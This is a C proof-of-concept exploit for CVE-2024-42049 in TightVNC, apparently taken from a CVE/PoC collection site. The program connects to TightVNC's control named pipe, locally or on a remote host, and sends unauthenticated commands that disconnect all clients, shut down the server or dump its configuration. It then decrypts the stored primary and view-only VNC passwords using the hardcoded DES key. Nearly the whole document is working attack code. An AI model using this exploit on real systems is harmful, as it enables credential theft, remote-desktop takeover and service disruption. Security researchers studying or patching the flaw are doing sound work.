4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-42049-PoC.c C
/*
 *
 * Copyright (c) 2025 Zevedei Ionut
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 *
 */

#include <windows.h> 
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include "descrypt.h"

#define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)
#define BUFFER_SIZE 512

#define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
#define TVNC_CMD_GET_CLIENT_LIST        0x04
#define TVNC_CMD_SHUTDOWN_SERVER        0x07
#define TVNC_CMD_GET_SERVER_INFO        0x11
#define TVNC_CMD_GET_CONFIG             0x12

const unsigned int commands[6] = {
  TVNC_CMD_DISCONNECT_ALL_CLIENTS,
  TVNC_CMD_GET_CLIENT_LIST,
  TVNC_CMD_SHUTDOWN_SERVER,
  TVNC_CMD_GET_SERVER_INFO,
  TVNC_CMD_GET_CONFIG,
};

unsigned char des_key[8] = { 23, 82, 107, 6, 35, 78, 88, 7 };

void get_bytes(unsigned int data, unsigned char* out) {
  out[0] = GETBYTE(data, 3);
  out[1] = GETBYTE(data, 2);
  out[2] = GETBYTE(data, 1);
  out[3] = GETBYTE(data, 0);
}

// printf is wonky when printing passwords later
void print_passwd(unsigned char* passwd) {
  for (int i = 0; i < 8; i++) {
    printf("%c", passwd[i]);
  }
  printf("\n");
}

void print_error(unsigned long error_code) {
  unsigned char* buffer;
  
  // damn it windows...
  FormatMessage(
    FORMAT_MESSAGE_ALLOCATE_BUFFER |
    FORMAT_MESSAGE_FROM_SYSTEM |
    FORMAT_MESSAGE_IGNORE_INSERTS,
    NULL,
    error_code,
    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
    (LPTSTR) &buffer,
    0, NULL);

  printf("[error]: %s\n", buffer);
}

void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {
  unsigned char primary_passwd[8] = { 0x00 };
  unsigned char view_only_passwd[8] = { 0x00 };

  printf("\n\tencrypted primary password: ");
  for (int i = 0; i < 8; i++) {
    primary_passwd[i] = buffer_ptr[offset + 8 + i];
    printf("%02x ", primary_passwd[i]);
  }
  printf("\n\tencrypted view-only password: ");
  for (int i = 0; i < 8; i++) {
    view_only_passwd[i] = buffer_ptr[offset + i];
    printf("%02x ", view_only_passwd[i]);
  }


  unsigned char primary_passwd_decrypted[8] = { 0x00 };
  unsigned char view_only_passwd_decrypted[8] = { 0x00 };

  decrypt(primary_passwd_decrypted, view_only_passwd,
    sizeof(primary_passwd_decrypted), des_key);
  decrypt(view_only_passwd_decrypted, primary_passwd,
    sizeof(view_only_passwd_decrypted), des_key);

  printf("\n\tdecrypted primary password: ");
  print_passwd(primary_passwd_decrypted);
  printf("\tdecrypted view-only password: ");
  print_passwd(view_only_passwd_decrypted);
}

BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {
  unsigned long pipe_mode;
  BOOL result = FALSE;
  printf("[~] opening pipe %s...\n", pipe_name);

  while (1) {
    *handle_ptr = CreateFile(
      pipe_name,
      GENERIC_READ | GENERIC_WRITE,
      0,
      NULL,
      OPEN_EXISTING,
      FILE_FLAG_OVERLAPPED,
      NULL
    );

    if (*handle_ptr != INVALID_HANDLE_VALUE) {
      printf("[+] pipe opened\n");
      break;
    }

    if (GetLastError() != ERROR_PIPE_BUSY) {
      printf("[-] could not open pipe\n");
      print_error(GetLastError());
      return FALSE;
    }

    printf("[~] waiting for named pipe to be available - if this hangs the pipe server might be dead.\n");

    WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);
  }

  pipe_mode = PIPE_READMODE_BYTE;
  result = SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);

  if (!result) {
    printf("[-] failed setting pipe read mode\n");
    print_error(GetLastError());
    return result;
  }

  return result;
}

int main(int argc, char* argv[]) {

  HANDLE        pipe_handle = NULL;
  unsigned char message[8] = { 0x00 };
  unsigned char buffer[BUFFER_SIZE] = { 0x00 };
  BOOL          result = FALSE;
  unsigned long bytes_read, bytes_written;
  unsigned int  cmd_index = 0;
  unsigned int  offset = 30;

  if (argc < 3) {
    printf("usage: %s <command> <pipe> <offset?>\n", argv[0]);
    printf("offset - optional: default is 30 - change as needed\n");
    printf("commands:\n");
    printf("\t1 - disconnect all clients\n");
    printf("\t2 - get client list\n");
    printf("\t3 - shutdown server\n");
    printf("\t4 - get server info\n");
    printf("\t5 - get server config\n");
    printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Control\n");
    printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n");
    return 0;
  }

  char* stop = NULL;
  cmd_index = strtol(argv[1], &stop, 10);

  if (stop == '\0') {
    return 0;
  }

  cmd_index--;

  if (argc == 4) {
    stop = NULL;
    offset = strtol(argv[3], &stop, 10);

    if (offset == 0 || stop == '\0') {
      return 0;
    }
  }

  if (!open_pipe(&pipe_handle, argv[2])) {
    goto exit;
  }

  printf("[i] sending command...\n");
  
  get_bytes(commands[cmd_index], message);
  result = WriteFile(pipe_handle, message, 8, &bytes_written, NULL);

  if (!result) {
    printf("[-] failed writing to pipe\n");
    print_error(GetLastError());
    goto exit;
  }

  printf("[~] message sent; waiting for reply\n");

  do {
    result = ReadFile(
      pipe_handle,
      buffer,
      BUFFER_SIZE * sizeof(unsigned char),
      &bytes_read,
      NULL
    );

    if (!result && GetLastError() != ERROR_MORE_DATA)
      break;

    printf("[+] got %d bytes back!\n", bytes_read);
    printf("    hex: \n\t");

    for (int i = 0; i < bytes_read; i++) {
      printf("%02x ", buffer[i]);
    }

    printf("\n    char: \n\t");
    for (int i = 0; i < bytes_read; i++) {
      printf("%c", buffer[i]);
    }
    printf("\n\n");

    if (cmd_index == 4) {
      printf("\n[~] command is get config, attempting to decrypt passwords using offset %d...\n", offset);
      decrypt_passwords(&buffer, offset);
    }

    memset(buffer, 0, BUFFER_SIZE);
  } while (!result);

  if (!result)
  {
    printf("[-] failed reading from pipe\n");
    print_error(GetLastError());
    goto exit;
  }

  printf("\n[+] done\n\n");

exit:
  if (pipe_handle != NULL) {
    CloseHandle(&pipe_handle);
  }

  return 0;
}